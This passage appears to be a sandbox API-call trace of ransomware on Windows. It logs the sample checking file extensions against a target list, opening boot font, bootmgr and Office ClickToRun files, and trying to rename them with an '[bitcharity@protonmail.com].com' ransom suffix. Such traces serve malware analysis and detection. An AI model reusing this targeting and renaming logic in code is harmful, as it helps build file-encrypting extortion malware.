lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString=".docx") returned 5 [0242.900] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.900] lstrlenW (lpString=".pdf") returned 4 [0242.900] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString=".xls") returned 4 [0242.900] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.900] lstrlenW (lpString=".xlsx") returned 5 [0242.900] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.900] lstrlenW (lpString=".ppt") returned 4 [0242.900] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.900] lstrlenW (lpString=".zip") returned 4 [0242.900] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.900] lstrlenW (lpString=".rar") returned 4 [0242.900] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString=".bz2") returned 4 [0242.900] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString=".7z") returned 3 [0242.900] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.900] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.900] lstrlenW (lpString=".dbf") returned 4 [0242.900] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.900] lstrlenW (lpString=".1cd") returned 4 [0242.900] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.900] lstrlenW (lpString=".jpg") returned 4 [0242.900] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.901] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0242.901] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0242.901] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.901] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=162331) returned 1 [0242.901] CloseHandle (hObject=0x1100) returned 1 [0242.901] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0242.901] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.901] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.901] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0242.901] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0242.901] lstrlenW (lpString=".doc") returned 4 [0242.901] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.902] lstrlenW (lpString=".docx") returned 5 [0242.902] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.902] lstrlenW (lpString=".pdf") returned 4 [0242.902] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.902] lstrlenW (lpString=".xls") returned 4 [0242.902] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.902] lstrlenW (lpString=".xlsx") returned 5 [0242.902] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.902] lstrlenW (lpString=".ppt") returned 4 [0242.902] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.902] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0242.902] lstrlenW (lpString=".zip") returned 4 [0242.902] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.902] lstrlenW (lpString=".rar") returned 4 [0242.902] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.902] lstrlenW (lpString=".bz2") returned 4 [0242.902] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.902] lstrlenW (lpString=".7z") returned 3 [0242.902] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.902] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0242.902] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.903] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=164347) returned 1 [0242.903] CloseHandle (hObject=0x1100) returned 1 [0242.907] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0242.907] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.907] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.907] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.907] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=154427) returned 1 [0242.907] CloseHandle (hObject=0x1100) returned 1 [0242.907] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0242.907] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.908] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.908] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.908] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=156245) returned 1 [0242.908] CloseHandle (hObject=0x1100) returned 1 [0242.908] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0242.908] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.908] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.908] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.909] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=44859) returned 1 [0242.909] CloseHandle (hObject=0x1100) returned 1 [0242.909] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0242.909] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.909] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.909] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.910] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=85862) returned 1 [0242.910] CloseHandle (hObject=0x1100) returned 1 [0242.910] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0242.910] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.910] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.910] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.910] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=86178) returned 1 [0242.910] CloseHandle (hObject=0x1100) returned 1 [0242.911] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0242.911] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.911] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.911] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.911] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=49091) returned 1 [0242.911] CloseHandle (hObject=0x1100) returned 1 [0242.911] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0242.911] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.911] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.912] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.912] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=79200) returned 1 [0242.912] CloseHandle (hObject=0x1100) returned 1 [0242.912] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0242.912] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.912] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.912] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.912] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=79192) returned 1 [0242.913] CloseHandle (hObject=0x1100) returned 1 [0242.913] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0242.913] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.913] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.131] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0243.140] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.261] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9558, Size=0x2000) returned 0x32b9558 [0243.261] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.262] lstrlenW (lpString=".doc") returned 4 [0243.262] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0243.262] lstrlenW (lpString=".docx") returned 5 [0243.262] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0243.262] lstrlenW (lpString=".pdf") returned 4 [0243.262] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0243.262] lstrlenW (lpString=".xls") returned 4 [0243.263] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0243.263] lstrlenW (lpString=".xlsx") returned 5 [0243.263] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0243.263] lstrlenW (lpString=".ppt") returned 4 [0243.263] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0243.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.263] lstrlenW (lpString=".zip") returned 4 [0243.263] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0243.263] lstrlenW (lpString=".rar") returned 4 [0243.263] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0243.263] lstrlenW (lpString=".bz2") returned 4 [0243.263] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0243.263] lstrlenW (lpString=".7z") returned 3 [0243.263] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0243.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.263] lstrlenW (lpString=".dbf") returned 4 [0243.263] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0243.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.263] lstrlenW (lpString=".1cd") returned 4 [0243.263] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0243.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.263] lstrlenW (lpString=".jpg") returned 4 [0243.263] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0243.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.263] lstrlenW (lpString=".doc") returned 4 [0243.263] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0243.264] lstrlenW (lpString=".docx") returned 5 [0243.264] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0243.264] lstrlenW (lpString=".pdf") returned 4 [0243.264] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0243.264] lstrlenW (lpString=".xls") returned 4 [0243.264] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0243.264] lstrlenW (lpString=".xlsx") returned 5 [0243.264] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0243.264] lstrlenW (lpString=".ppt") returned 4 [0243.264] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0243.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.264] lstrlenW (lpString=".zip") returned 4 [0243.264] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0243.264] lstrlenW (lpString=".rar") returned 4 [0243.264] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0243.264] lstrlenW (lpString=".bz2") returned 4 [0243.264] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0243.264] lstrlenW (lpString=".7z") returned 3 [0243.264] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0243.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.264] lstrlenW (lpString=".dbf") returned 4 [0243.264] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0243.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.264] lstrlenW (lpString=".1cd") returned 4 [0243.264] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0243.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0243.264] lstrlenW (lpString=".jpg") returned 4 [0243.264] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0243.265] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.265] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0243.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1134 [0243.265] GetFileSizeEx (in: hFile=0x1134, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=307416) returned 1 [0243.265] CloseHandle (hObject=0x1134) returned 1 [0243.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0243.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.268] lstrlenW (lpString=".doc") returned 4 [0243.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.268] lstrlenW (lpString=".docx") returned 5 [0243.268] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0243.268] lstrlenW (lpString=".pdf") returned 4 [0243.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.268] lstrlenW (lpString=".xls") returned 4 [0243.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.268] lstrlenW (lpString=".xlsx") returned 5 [0243.268] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0243.268] lstrlenW (lpString=".ppt") returned 4 [0243.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.268] lstrlenW (lpString=".zip") returned 4 [0243.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.268] lstrlenW (lpString=".rar") returned 4 [0243.269] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.269] lstrlenW (lpString=".bz2") returned 4 [0243.269] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.269] lstrlenW (lpString=".7z") returned 3 [0243.269] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.269] lstrlenW (lpString=".dbf") returned 4 [0243.269] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.269] lstrlenW (lpString=".1cd") returned 4 [0243.269] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.269] lstrlenW (lpString=".jpg") returned 4 [0243.269] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.269] lstrlenW (lpString=".doc") returned 4 [0243.269] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.269] lstrlenW (lpString=".docx") returned 5 [0243.269] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0243.269] lstrlenW (lpString=".pdf") returned 4 [0243.269] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.269] lstrlenW (lpString=".xls") returned 4 [0243.269] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.269] lstrlenW (lpString=".xlsx") returned 5 [0243.269] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0243.269] lstrlenW (lpString=".ppt") returned 4 [0243.270] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.270] lstrlenW (lpString=".zip") returned 4 [0243.270] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.270] lstrlenW (lpString=".rar") returned 4 [0243.270] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.270] lstrlenW (lpString=".bz2") returned 4 [0243.270] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.270] lstrlenW (lpString=".7z") returned 3 [0243.270] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.270] lstrlenW (lpString=".dbf") returned 4 [0243.270] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.270] lstrlenW (lpString=".1cd") returned 4 [0243.270] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0243.270] lstrlenW (lpString=".jpg") returned 4 [0243.270] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 